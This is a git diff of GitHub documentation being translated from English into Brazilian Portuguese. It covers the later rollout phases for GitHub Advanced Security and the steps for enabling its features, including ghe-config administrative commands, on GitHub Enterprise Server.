-Once your team(s) have been able to run scans, identify vulnerabilities and dependencies, and can consume the results of each security feature, the next step is to ensure that they can remediate the vulnerabilities identified within their normal development processes without involving your security team.
+Uma vez que sua(s) equipe(s) puderam de realizar verificações, identificar vulnerabilidades e dependências e puderem consumir os resultados de cada recurso de segurança, o próximo passo é garantir que possam corrigir as vulnerabilidades identificadas em seus processos de desenvolvimento normais sem envolver sua equipe de segurança.
 
-This means that the development teams understand how to utilize the GHAS features throughout the development process, can run scans, read reports, consume the results, and remediate vulnerabilities within their normal development workflows, without having to have a separate security phase at the end of development, or have a need to involve your security team to understand reports/results.
+Isto significa que as equipes de desenvolvimento entendem como utilizar as funcionalidades do GHAS durante todo o processo de desenvolvimento, podem executar digitalizações, ler relatórios, usar os resultados e remediar vulnerabilidades dentro de seus fluxos de trabalho normais de desenvolvimento, sem precisar ter uma fase de segurança separada no final do desenvolvimento, ou ter necessidade de envolver sua equipe de segurança para entender relatórios/resultados.
 
-### Step 9: Set up custom analysis if needed
+### Etapa 9: Configurar análise personalizada, se necessário
 
-Custom analysis is an optional deeper use of code scanning when custom CodeQL queries are needed beyond the available default (and community) set of queries. The need for custom queries is rare.
+Análise personalizada é um uso opcional mais profundo da varredura de código quando consultas do CodeQL personalizadas são necessárias além do conjunto padrão (e comunidade) disponível de consultas. A necessidade de consultas personalizadas é rara.
 
-Custom queries are used to identify custom security alerts or help developers follow coding standards by detecting certain code patterns.
+As consultas personalizadas são usadas para identificar alertas personalizados de segurança ou ajudar os desenvolvedores a seguir os padrões de codificação, detectando certos padrões de código.
 
-If your company is interested in writing custom CodeQL queries, there are certain requirements your company should meet.
+Se sua empresa estiver interessada em escrever consultas personalizadas do CodeQL, existem certos requisitos que sua empresa deve cumprir.
 
-If your team can provide some examples of existing vulnerabilities you'd like to find via CodeQL, please let the GitHub team know and we can schedule an introductory session to review the basics of the language and discuss how to tackle one of your problems. If you want to cover CodeQL in more depth, then we offer additional engagement options to cover more topics to enable your team to build their own queries.
+Se sua equipe puder fornecer alguns exemplos de vulnerabilidades existentes que você gostaria de encontrar via CodeQL, avise a equipe do GitHub e nós poderemos agendar uma sessão introdutória para revisar os fundamentos da linguagem e discutir como resolver um dos seus problemas. Se você quiser cobrir o CodeQL com mais profundidade, oferecemos opções adicionais de envolvimento para cobrir mais tópicos para permitir que a sua equipe crie as suas próprias consultas.
 
-You can learn more about [CodeQL queries](https://codeql.github.com/docs/writing-codeql-queries/codeql-queries/) in our [CodeQL documentation](https://codeql.github.com/docs/codeql-overview/), or reach out to your {% data variables.product.prodname_professional_services %} team or sales representative.
+Você pode aprender mais sobre [consultas CodeQL](https://codeql.github.com/docs/writing-codeql-queries/codeql-queries/) em nossa [Documentação do CodeQL](https://codeql.github.com/docs/codeql-overview/), ou entrar em contato com sua equipe de {% data variables.product.prodname_professional_services %} ou representante de vendas.
 
-### Step 10: Create & maintain documentation
+### Passo 10: Criar & manter a documentação
 
-All throughout the pilot phase, it’s essential to create and maintain high-quality internal documentation of the infrastructure and process changes made within your company, as well as learnings from the pilot process and configuration changes made as your team(s) progress throughout the rollout and implementation process.
+Em toda a fase piloto, é fundamental criar e manter uma documentação interna de alta qualidade da infraestrutura e processar alterações feitas dentro da sua empresa, bem como o que foi aprendido com o processo piloto e as alterações na configuração feitas conforme o progresso da(s) sua(s) equipe(s) ao longo da implementação.
 
-Having thorough and complete documentation helps make the remaining phases of your rollout more of a repeatable process.
-Good documentation also ensures that new teams can be onboarded consistently throughout the rollout process and as new team members join your team(s).
+Ter uma documentação completa e completa ajuda a fazer das etapas restantes da sua implementação mais de um processo reproduzível. Uma boa documentação também garante que as novas equipes possam ser integradas de forma consistente ao longo do processo de implementação e, uma vez que que novos integrantes da equipe se unem à(s) equipe(s).
 
-Good documentation doesn’t end when rollout and implementation are complete. The most helpful documentation is actively updated and evolves as your teams expand their experience using GHAS and as their needs grow.
+A documentação boa não termina quando a implementação é concluída. A documentação mais útil é atualizada e evolui ativamente à medida que suas equipes expandem sua experiência usando o GHAS e suas necessidades aumentam.
 
-In addition to your documentation, we recommend your company provides clear channels to your team(s) for support and guidance all throughout rollout, implementation, and beyond. Depending on the level of change your company needs to take on in order to support the rollout and implementation of GHAS, having well-supported teams will help ensure a successful adoption into your development teams’ daily workflow.
+Além da sua documentação, recomendamos que sua empresa forneça canais claros para a(s) sua(s) equipe(s) para suporte e orientação tudo durante e após a implementação. Dependendo do nível de mudança, a sua empresa precisa assumir para apoiar a implementação do GHAS. Ter equipes bem respaldadas ajudará a garantir uma adesão bem-sucedida no fluxo de trabalho diário das suas equipes de desenvolvimento.
 
-## {% octicon "milestone" aria-label="The milestone icon" %}  Phase 2: Organizational buy-in & rollout preparation
+## {% octicon "milestone" aria-label="The milestone icon" %}  Fase 2: Adesão organizacional & preparação para implementação
 
 {% note %}
 
-{% octicon "clock" aria-label="Clock" %} **Estimated timing:** We estimate that phase 2 may last roughly between 1 week to over a month. This range can vary largely depending on your company’s internal approval processes.
+{% octicon "clock" aria-label="Clock" %} **Tempo estimado:** Estimamos que a fase 2 deverá dura entre 1 semana e 1 mês. Esse intervalo pode variar em grande medida dependendo dos processos internos de aprovação da sua empresa.
 
 {% endnote %}
 
-One of the main goals of this phase is to ensure you have the organizational buy-in to make the full deployment of GHAS successful.
+Um dos principais objetivos desta fase é garantir que você tenha a adesão da organização para fazer com que toda a implantação do GHAS seja bem-sucedida.
 
-During this phase, your company reviews the results of the pilot project(s) to determine if the pilot was successful, what adjustments may need to be made, and if the company is ready to continue forward with the rollout.
+Durante essa fase, a sua empresa analisa os resultados do(s) projeto(s) piloto para determinar se o piloto teve sucesso, que qjustes poderão ser necessários e se a empresa está disposta a prosseguir com a implantação.
 
-Depending on your company’s approval process, organizational buy-in from your executive sponsor may be necessary to continue forward. In most cases, organizational buy-in from your team(s) is necessary to begin utilizing the value of GHAS for your company.
+Dependendo do processo de aprovação da sua empresa, poderá ser necessário continuar com a adesão da organização do seu patrocinador executivo. Na maioria dos casos, a adesão da(s) sua(s) equipe(s) organizacionais é necessária para começar a utilizar o valor do GHAS para a sua empresa.
 
-Before moving forward to the next phase of rolling out GHAS more widely across your company, modifications are often made to the original rollout plan based on learnings from the pilot.
+Antes de passar para a próxima fase de implementação do GHAS em toda a sua empresa, as modificações são frequentemente feitas no plano original de implementação, com base no que aprendermos com o piloto.
 
-Any changes that may impact the documentation should also be made to ensure it is current for continued rollout.
+Todas as alterações que possam ter impacto na documentação deverão também ser introduzidas para assegurar a sua implantação contínua.
 
-We also recommend that you consider your plan to train any teams or team members that will be introduced to GHAS in the next phases of your rollout if you haven't already.
+Também recomendamos que você considere seu plano de treinar todas as equipes ou integrantes da equipe que serão apresentados ao GHAS nas próximas fases da sua implementação, se você ainda não o fez.
 
-### Step 1: Organize results
+### Etapa 1: Organizar resultados
 
-At the completion of Phase 1, your team(s) should have {% ifversion ghes %} GHAS enabled on your {% data variables.product.prodname_ghe_server %} instance and have{% endif %} been able to utilize all of the key features of GHAS successfully, potentially with some configuration changes to optimize results. If your company clearly defined success metrics in Phase 0, you should be able to measure against these metrics to determine the success of your pilot.
+Na conclusão da fase 1, sua(s) equipe(s) deve(m) ter {% ifversion ghes %} o GHAS habilitado na instância de {% data variables.product.prodname_ghe_server %} e{% endif %} poder ter usado todos os principais recursos do GHAS com sucesso, potencialmente com algumas alterações de configuração para otimizar os resultados. Se a sua empresa definiu claramente métricas de sucesso na Fase 0, você poderá medir com base nessas métricas para determinar o sucesso do seu piloto.
 
-It’s important to revisit your baseline metrics when preparing your results to ensure that incremental progress can be demonstrated based on metrics collected from the pilot against your original business goals. If you need assistance with this information, GitHub can help by ensuring that your company has the right metrics to measure your progress against. For more information on help available, see "[GitHub services and support](/admin/advanced-security/overview-of-github-advanced-security-deployment#github-services-and-support)."
+É importante revisitar suas métricas de linha de base ao preparar seus resultados para garantir que o progresso adicional possa ser demonstrado com base em métricas coletadas do piloto com base nas metas originais do seu negócio. Se você precisar de ajuda com estas informações, o GitHub pode ajudar, garantindo que sua empresa tenha as métricas certas com base nas quais o seu progresso será medido. Para obter mais informações sobre a ajuda disponível, consulte "[Serviços e suporte do GitHub](/admin/advanced-security/overview-of-github-advanced-security-deployment#github-services-and-support)".
 
-### Step 2: Secure organizational buy-in
+### Etapa 2: Adesão segura pela organização
 
-Organizational buy-in will vary depending on a variety of factors, including your company’s size, approval process, or even the level of change required to rollout GHAS to name a few.
+A adesão organizacional irá variar com base em uma série de fatores, incluindo o tamanho da sua empresa, processo de aprovação, ou nível de mudança necessário para implantar o GHAS, para citar alguns exemplos.
 
-For some companies, securing buy-in is a one-time meeting, but for others, this process can take quite some time (potentially weeks or months). Buy-in may require approval from your executive sponsor or may require the adoption of GHAS into your teams’ daily workflows.
+Para algumas empresas, garantir a adesão é uma reunião única, mas, para outras, este processo pode levar algum tempo (possivelmente semanas ou meses). A adesão poderá exigir a aprovação do seu patrocinador executivo ou exigir a adoção do GHAS nos fluxos diários das suas equipes.
 
-This duration of this stage is entirely up to your company and how quickly you would like to proceed. We recommend seeking support or services from GitHub where possible to help answer questions and provide any recommendations that may be needed to help support this process. For more information on help available, see "[GitHub services and support](/admin/advanced-security/overview-of-github-advanced-security-deployment#github-services-and-support)."
+A duração desta fase depende inteiramente da sua empresa e da rapidez com que você gostaria de prosseguir. Recomendamos buscar suporte ou serviços a partir do GitHub sempre que possível para ajudar a responder a perguntas e fornecer todas recomendações que possam ser necessárias para ajudar a apoiar este processo. Para obter mais informações sobre a ajuda disponível, consulte "[Serviços e suporte do GitHub](/admin/advanced-security/overview-of-github-advanced-security-deployment#github-services-and-support)".
 
-### Step 3: Revise and update documentation
+### Passo 3: Revisar e atualizar a documentação
 
-Review the results and findings from your pilot project(s) and the needs of the remaining teams at your company. Based on your findings and needs analysis, update/revise your documentation.
+Analise os resultados e conclusões de seu projeto piloto e as necessidades dos das equipes restantes da sua empresa. Com base nos seus resultados e análises de necessidades, atualize e revise a sua documentação.
 
-We've found that it’s essential to ensure that your documentation is up-to-date before continuing with the rollout to the remainder of your company's enterprise.
+Descobrimos que é essencial garantir que a sua documentação esteja atualizada antes de continuar a implantação para os demais negócios da sua empresa.
 
-### Step 4: Prepare a full rollout plan for your company
+### Passo 4: Prepare um plano de implantação completo para sua empresa
 
-Based on what you learned from your pilot project(s), update the rollout plan you designed in stage 0. To prepare for rolling out to your company, consider any training your teams will need, such as training on using GHAS, process changes, or migration training if your enterprise is migrating to GitHub.
+Com base no que você aprendeu com o(s) seu(s) projeto(s) piloto, atualize o plano de implantação que você projetou na fase 0. Para se preparar para a implementação na sua empresa, considere todos os treinamentos que suas equipes precisarem como, por exemplo, o treinamento sobre o uso do GHAS, mudanças de processo ou treinamento de migração se seu negócio estiver fazendo a migração para o GitHub.
 
-## {% octicon "milestone" aria-label="The milestone icon" %}  Phase 3: Full organizational rollout & change management
+## {% octicon "milestone" aria-label="The milestone icon" %}  Fase 3: Execução completa da organização & gestão de mudanças
 
 {% note %}
 
-{% octicon "clock" aria-label="Clock" %} **Estimated timing:** We estimate that phase 3 may
-last anywhere from 2 weeks to multiple months. This range can vary largely depending on
-your company’s size, number of repositories/teams, level of change the GHAS rollout will be for your company, etc.
+{% octicon "clock" aria-label="Clock" %} **Tempo estimado:** Estimamos que a fase 3 pode
+durar entre 2 semanas e vários meses. Este intervalo pode variar em grande parte dependendo do tamanho da sua empresa, número de repositórios/equipes, o nível de mudança que a implantação do GHAS irá representar para a sua empresa, etc.
 
 {% endnote %}
 
-Once your company has aligned on the results and findings from your pilot project(s) and all rollout preparation steps have been completed from Phase 2, you can move forward with the full rollout to your company based on your plan.
+Assim que sua empresa estiver alinhada com os resultados e conclusões do(s) seu(s) projeto(s) piloto e todas as etapas de preparação forem concluídas a partir da Fase 2, você pode seguir em frente com a implementação completa para sua empresa com base no seu plano.
 
-### Step 1: Evaluate your rollout as you go
+### Etapa 1: Avalie sua implantação à medida que você avança
 
-If you're using a phased approach to rolling out GHAS, we recommend taking a brief pause and completing a short evaluation after rolling out GHAS to a different segment of your company to ensure the rollout is moving forward smoothly. Your evaluation can ensure that teams are enabled and trained properly, that any unique GHAS configuration needs are met, and that plans and documentation can be adjusted as needed.
+Se você está usando uma abordagem faseada para implementar o GHAS, recomendamos que você faça uma breve pausa e realize uma curta avaliação depois de implementar o GHAS em um segmento diferente da sua empresa para garantir que a implantação avance sem problemas. Sua avaliação pode garantir que as equipes sejam habilitadas e treinadas adequadamente, que todas as necessidades únicas de configuração do GHAS foram atendidas e que os planos e a documentação podem ser ajustados conforme necessário.
 
-### Step 2: Set up any needed training
+### Passo 2: Configure todos os treinamentos necessários
 
-When rolling GHAS out to any teams beyond your pilot project team(s), it’s important to ensure teams are either trained or there are training resources available to provide additional support where needed.
+Ao implementar o GHAS em qualquer equipe além da sua equipe de projeto(s) piloto(s), é importante garantir que as equipes sejam treinadas ou que existam recursos de treinamento disponíveis para fornecer suporte adicional quando necessário.
 
-These are the main areas where we see companies needing further support:
-  - training on GHAS
-  - training for customers new to GitHub
-  - training on how to migrate to GitHub
+Estas são as principais áreas em que vemos que as empresas necessitam de suporte adicional:
+  - treinamento no GHAS
+  - treinamento para clientes novos no GitHub
+  - treinamento sobre como migrar para o GitHub
 
-Our {% data variables.product.prodname_professional_services_team %} team provides a variety of training services, bootcamps, and just general advice to help support your team(s) throughout the rollout and implementation process. For more information, see "[GitHub services and support](/admin/advanced-security/overview-of-github-advanced-security-deployment#github-services-and-support)."
+Nossa equipe de {% data variables.product.prodname_professional_services_team %} fornece uma série de serviços de treinamento, bootcamps e apenas aconselhamento geral para ajudar a(s) sua(s) equipe(s) durante todo o processo de implementação. Para obter mais informações, consulte "[Serviços e suporte do GitHub](/admin/advanced-security/overview-of-github-advanced-security-deployment#github-services-and-support)".
 
-To help support your teams, here's a recap of relevant GitHub documentation.
+Para ajudar as suas equipes, aqui está um resumo da documentação relevante do GitHub.
 
-For documentation on how to enable GHAS, see:
-  - "[Enabling Advanced Security features](/get-started/learning-about-github/about-github-advanced-security)"
-  - "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)"
-  - "[Managing security and analysis settings for your repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository)"
+Para conhecer a documentação sobre como habilitar o GHAS, consulte:
+  - "[Habilitando as funcionalidades avançadas de segurança](/get-started/learning-about-github/about-github-advanced-security)"
+  - "[Gerenciando configurações de segurança e análise para sua organização](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)"
+  - "[Gerenciar as configurações de segurança e análise para o seu repositório](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository)"
 
-For documentation on how to migrate to GitHub, see:
-  - "[Importing source code to GitHub](/github/importing-your-projects-to-github/importing-source-code-to-github)"
+Para conhecer a documentação sobre como migrar para o GitHub, consulte:
+  - "[Importar código-fonte para o GitHub](/github/importing-your-projects-to-github/importing-source-code-to-github)"
 
-For documentation on getting started with GitHub, see:
-  - "[Get started](/get-started)"
+Para ler a documentação sobre como começar a usar o GitHub, consulte:
+  - "[Primeiros passos](/get-started)"
 
-### Step 3: Help your company manage change
+### Etapa 3: Ajude a sua empresa a gerenciar as alterações
 
-In step 4 of phase 2, we recommended that you update the initial rollout plan based on your learnings from the pilot project(s). Ensure that you continue to update your plan as you implement any necessary organizational changes to successfully roll out GHAS to your company.
+Na etapa 4 da segunda fase, recomendamos que você atualize o plano inicial de implementação com base nos seus aprendizados do(s) projeto(s) piloto. Certifique-se de que você continue atualizando seu plano à medida que implementa quaisquer alterações organizacionais necessárias para implementar o GHAS com sucesso na sua empresa.
 
-Successful GHAS rollouts and the adoption of best practices into daily workflows depend on ensuring that your teams understand why it’s necessary to include security in their work.
+A implementação bem-sucedida do GHAS e a adoção das práticas recomendadas nos fluxos de trabalho diários dependem de garantir que suas equipes entendem por que é necessário incluir a segurança em seu trabalho.
 
-### Step 4: Continued customization
+### Passo 4: Personalização contínua
 
-Configuration and customization of GHAS are not complete once it’s rolled out across your company's enterprise. Further custom configuration changes should continue to be made over time to ensure GHAS continues to support your company's changing needs.
+A configuração e personalização do GHAS não estão completas até que sejam implementadas em toda a sua empresa. Outras alterações na configuração personalizada devem continuar a ser feitas ao longo do tempo para garantir que o GHAS continue a apoiar as necessidades de alteração da sua empresa.
 
-As your team becomes more experienced and skilled with GHAS over time, this will create additional opportunities for further customization.
+À medida que a sua equipe torna-se mais experiente e qualificada com GHAS ao longo do tempo, isso criará oportunidades adicionais para uma melhor personalização.
diff --git a/translations/pt-BR/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md b/translations/pt-BR/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md
index d2d205a75c..1d760a603d 100644
--- a/translations/pt-BR/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md
+++ b/translations/pt-BR/content/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise.md
@@ -1,7 +1,7 @@
 ---
-title: Enabling GitHub Advanced Security for your enterprise
-shortTitle: Enabling GitHub Advanced Security
-intro: 'You can configure {% data variables.product.product_name %} to include {% data variables.product.prodname_GH_advanced_security %}. This provides extra features that help users find and fix security problems in their code.'
+title: Habilitar o GitHub Advanced Security para a sua empresa
+shortTitle: Habilitar o GitHub Advanced Security
+intro: 'Você pode configurar {% data variables.product.product_name %} para incluir {% data variables.product.prodname_GH_advanced_security %}. Isso fornece funcionalidades extras que ajudam os usuários a encontrar e corrigir problemas de segurança no seu código.'
 product: '{% data reusables.gated-features.ghas %}'
 versions:
   ghes: '*'
@@ -14,84 +14,81 @@ topics:
   - Security
 ---
 
-## About enabling {% data variables.product.prodname_GH_advanced_security %}
+## Sobre habilitar {% data variables.product.prodname_GH_advanced_security %}
 
 {% data reusables.advanced-security.ghas-helps-developers %}
 
 {% ifversion ghes > 3.0 %}
-When you enable {% data variables.product.prodname_GH_advanced_security %} for your enterprise, repository administrators in all organizations can enable the features unless you set up a policy to restrict access. For more information, see "[Enforcing policies for {% data variables.product.prodname_advanced_security %} in your enterprise](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)."
+Ao habilitar {% data variables.product.prodname_GH_advanced_security %} para a sua empresa, os administradores de repositórios em todas as organizações poderão habilitar as funcionalidades, a menos que você configure uma política para restringir o acesso. Para obter mais informações, consulte "[Aplicar políticas para {% data variables.product.prodname_advanced_security %} na sua empresa](/admin/policies/enforcing-policies-for-advanced-security-in-your-enterprise)".
 {% else %}
-When you enable {% data variables.product.prodname_GH_advanced_security %} for your enterprise, repository administrators in all organizations can enable the features. {% ifversion ghes = 3.0 %}For more information, see "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" and "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."{% endif %}
+Ao habilitar {% data variables.product.prodname_GH_advanced_security %} para a sua empresa, os administradores de repositórios em todas as organizações podem habilitar as funcionalidades. {% ifversion ghes = 3.0 %}Para obter mais informações, consulte "[Gerenciar as configurações de segurança e análise de sua organização](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)" e "[Gerenciar as configurações de segurança e análise do seu repositório](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository).{% endif %}
 {% endif %}
 
 {% ifversion ghes %}
-For guidance on a phased deployment of GitHub Advanced Security, see "[Deploying GitHub Advanced Security in your enterprise](/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise)."
+Para obter orientação sobre uma implantação em fases da segurança avançada do GitHub, consulte "[Implantando a segurança avançada do GitHub na sua empresa](/admin/advanced-security/deploying-github-advanced-security-in-your-enterprise)".
 {% endif %}
 
-## Checking whether your license includes {% data variables.product.prodname_GH_advanced_security %}
+## Verificando se a sua licença inclui {% data variables.product.prodname_GH_advanced_security %}
 
 {% ifversion ghes > 3.0 %}
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.license-tab %}
-1. If your license includes {% data variables.product.prodname_GH_advanced_security %}, the license page includes a section showing details of current usage.
-![{% data variables.product.prodname_GH_advanced_security %} section of Enterprise license](/assets/images/help/billing/ghas-orgs-list-enterprise-ghes.png)
+1. Se sua licença incluir {% data variables.product.prodname_GH_advanced_security %}, a página de licença incluirá uma seção que mostra os detalhes do uso atual. ![Seção de {% data variables.product.prodname_GH_advanced_security %} de licença empresarial](/assets/images/help/billing/ghas-orgs-list-enterprise-ghes.png)
 {% endif %}
 
 {% ifversion ghes = 3.0 %}
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
-1. If your license includes {% data variables.product.prodname_GH_advanced_security %}, there is an **{% data variables.product.prodname_advanced_security %}** entry in the left sidebar.
-![Advanced Security sidebar](/assets/images/enterprise/management-console/sidebar-advanced-security.png)
+1. Se a sua licença incluir {% data variables.product.prodname_GH_advanced_security %}, haverá uma entrada de **{% data variables.product.prodname_advanced_security %}** na barra lateral esquerda. ![Barra lateral de segurança avançada](/assets/images/enterprise/management-console/sidebar-advanced-security.png)
 
 {% data reusables.enterprise_management_console.advanced-security-license %}
 {% endif %}
 
-## Prerequisites for enabling {% data variables.product.prodname_GH_advanced_security %}
+## Pré-requisitos para habilitar {% data variables.product.prodname_GH_advanced_security %}
 
-1. Upgrade your license for {% data variables.product.product_name %} to include {% data variables.product.prodname_GH_advanced_security %}.{% ifversion ghes > 3.0 %} For information about licensing, see "[About billing for {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."{% endif %}
-2. Download the new license file. For more information, see "[Downloading your license for {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise)."
-3. Upload the new license file to {% data variables.product.product_location %}. For more information, see "[Uploading a new license to {% data variables.product.prodname_ghe_server %}](/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)."{% ifversion ghes %}
-4. Review the prerequisites for the features you plan to enable.
+1. Atualize a sua licença para {% data variables.product.product_name %} para incluir {% data variables.product.prodname_GH_advanced_security %}.{% ifversion ghes > 3.0 %} Para obter informações sobre a licença, consulte "[Sobre cobrança para {% data variables.product.prodname_GH_advanced_security %}](/billing/managing-billing-for-github-advanced-security/about-billing-for-github-advanced-security)."{% endif %}
+2. Faça o download do novo arquivo de licença. Para obter mais informações, consulte "[Fazer o download da sua licença para {% data variables.product.prodname_enterprise %}](/billing/managing-your-license-for-github-enterprise/downloading-your-license-for-github-enterprise)".
+3. Faça o upload do novo arquivo de licença para {% data variables.product.product_location %}. Para obter mais informações, consulte "[Fazer o upload de uma nova licença para {% data variables.product.prodname_ghe_server %}](/billing/managing-your-license-for-github-enterprise/uploading-a-new-license-to-github-enterprise-server)".{% ifversion ghes %}
+4. Revise os pré-requisitos para as funcionalidades que você pretende habilitar.
 
-    - {% data variables.product.prodname_code_scanning_capc %}, see "[Configuring {% data variables.product.prodname_code_scanning %} for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance#prerequisites-for-code-scanning)."
-    - {% data variables.product.prodname_secret_scanning_caps %}, see "[Configuring {% data variables.product.prodname_secret_scanning %} for your appliance](/admin/advanced-security/configuring-secret-scanning-for-your-appliance#prerequisites-for-secret-scanning)."{% endif %}
-    - {% data variables.product.prodname_dependabot %}, see "[Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} on your enterprise account](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)." 
+    - {% data variables.product.prodname_code_scanning_capc %}, consulte "[Configurando {% data variables.product.prodname_code_scanning %} para seu dispositivo](/admin/advanced-security/configuring-code-scanning-for-your-appliance#prerequisites-for-code-scanning)."
+    - {% data variables.product.prodname_secret_scanning_caps %}, consulte "[Configurando {% data variables.product.prodname_secret_scanning %} para seu dispositivo](/admin/advanced-security/configuring-secret-scanning-for-your-appliance#prerequisites-for-secret-scanning)."{% endif %}
+    - {% data variables.product.prodname_dependabot %}, consulte "[Habilitando o gráfico de dependências e {% data variables.product.prodname_dependabot_alerts %} na conta corporativa](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)".
 
-## Enabling and disabling {% data variables.product.prodname_GH_advanced_security %} features
+## Habilitar e desabilitar funcionalidades de {% data variables.product.prodname_GH_advanced_security %}
 
 {% data reusables.enterprise_management_console.enable-disable-security-features %}
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.advanced-security-tab %}{% ifversion ghes %}
-1. Under "{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}Security{% endif %}," select the features that you want to enable and deselect any features you want to disable.
+1. Em "{% ifversion ghes < 3.2 %}{% data variables.product.prodname_advanced_security %}{% else %}Security{% endif %}", selecione as funcionalidades que você deseja habilitar e desmarque todos os recursos que deseja desabilitar.
 {% ifversion ghes > 3.1 %}![Checkbox to enable or disable {% data variables.product.prodname_advanced_security %} features](/assets/images/enterprise/3.2/management-console/enable-security-checkboxes.png){% else %}![Checkbox to enable or disable {% data variables.product.prodname_advanced_security %} features](/assets/images/enterprise/management-console/enable-advanced-security-checkboxes.png){% endif %}{% else %}
-1. Under "{% data variables.product.prodname_advanced_security %}," click **{% data variables.product.prodname_code_scanning_capc %}**.
-![Checkbox to enable or disable {% data variables.product.prodname_code_scanning %}](/assets/images/enterprise/management-console/enable-code-scanning-checkbox.png){% endif %}
+1. Em "{% data variables.product.prodname_advanced_security %}," clique em **{% data variables.product.prodname_code_scanning_capc %}**. ![Checkbox to enable or disable {% data variables.product.prodname_code_scanning %}](/assets/images/enterprise/management-console/enable-code-scanning-checkbox.png){% endif %}
 {% data reusables.enterprise_management_console.save-settings %}
 
-When {% data variables.product.product_name %} has finished restarting, you're ready to set up any additional resources required for newly enabled features. For more information, see "[Configuring {% data variables.product.prodname_code_scanning %} for your appliance](/admin/advanced-security/configuring-code-scanning-for-your-appliance)."
+Quando {% data variables.product.product_name %} terminar de reiniciar, você estará pronto para definir todas as funcionalidades adicionais necessárias para recursos recém-habilitados. Para obter mais informações, consulte "[Configurar o {% data variables.product.prodname_code_scanning %} para seu aplicativo ](/admin/advanced-security/configuring-code-scanning-for-your-appliance)".
 
-## Enabling or disabling {% data variables.product.prodname_GH_advanced_security %} features via the administrative shell (SSH)
+## Habilitar ou desabilitar as funcionalidades de {% data variables.product.prodname_GH_advanced_security %} por meio do shell administrativo (SSH)
 
-You can enable or disable features programmatically on {% data variables.product.product_location %}. For more information about the administrative shell and command-line utilities for {% data variables.product.prodname_ghe_server %}, see "[Accessing the administrative shell (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)" and "[Command-line utilities](/admin/configuration/command-line-utilities#ghe-config)."
+Você pode habilitar ou desabilitar as funcionalidades programaticamente em {% data variables.product.product_location %}. Para mais informações sobre o shell administrativo e os utilitários da linha de comando para {% data variables.product.prodname_ghe_server %}, consulte "[Acessar o shell administrativo (SSH)](/admin/configuration/accessing-the-administrative-shell-ssh)" e "[Utilitários de linha de comando](/admin/configuration/command-line-utilities#ghe-config)".
 
-For example, you can enable any {% data variables.product.prodname_GH_advanced_security %} feature with your infrastructure-as-code tooling when you deploy an instance for staging or disaster recovery.
+Por exemplo, você pode habilitar qualquer recurso de {% data variables.product.prodname_GH_advanced_security %} com as suas ferramentas de código de infraestrutura ao implantar uma instância para preparação ou recuperação de desastres.
 
-1. SSH into {% data variables.product.product_location %}.
-1. Enable features for {% data variables.product.prodname_GH_advanced_security %}.
+1. SSH em {% data variables.product.product_location %}.
+1. Habilitar funcionalidades para {% data variables.product.prodname_GH_advanced_security %}.
 
-    - To enable {% data variables.product.prodname_code_scanning_capc %}, enter the following commands.
+    - Para habilitar {% data variables.product.prodname_code_scanning_capc %}, digite os comandos a seguir.
     ```shell
     ghe-config app.minio.enabled true
     ghe-config app.code-scanning.enabled true
     ```
-    - To enable {% data variables.product.prodname_secret_scanning_caps %}, enter the following command.
+    - Para habilitar {% data variables.product.prodname_secret_scanning_caps %}, digite o comando a seguir.
     ```shell
     ghe-config app.secret-scanning.enabled true
     ```
-    - To enable {% data variables.product.prodname_dependabot %}, enter the following {% ifversion ghes > 3.1 %}command{% else %}commands{% endif %}.
+    - Para habilitar {% data variables.product.prodname_dependabot %}, digite os comandos a seguir {% ifversion ghes > 3.1 %}{% else %}comandos{% endif %}.
     {% ifversion ghes > 3.1 %}```shell
     ghe-config app.dependency-graph.enabled true
     ```
@@ -99,18 +96,18 @@ For example, you can enable any {% data variables.product.prodname_GH_advanced_s
     ghe-config app.github.dependency-graph-enabled true
     ghe-config app.github.vulnerability-alerting-and-settings-enabled true
     ```{% endif %}
-2. Optionally, disable features for {% data variables.product.prodname_GH_advanced_security %}.
+2. Opcionalmente, desabilite as funcionalidades para {% data variables.product.prodname_GH_advanced_security %}.
 
-    - To disable {% data variables.product.prodname_code_scanning %}, enter the following commands.
+    - Para desabilitar {% data variables.product.prodname_code_scanning %}, digite os seguintes comandos.
     ```shell
     ghe-config app.minio.enabled false
     ghe-config app.code-scanning.enabled false
     ```
-    - To disable {% data variables.product.prodname_secret_scanning %}, enter the following command.
+    - Para desabilitar {% data variables.product.prodname_secret_scanning %}, digite o seguinte comando.
     ```shell
     ghe-config app.secret-scanning.enabled false
     ```
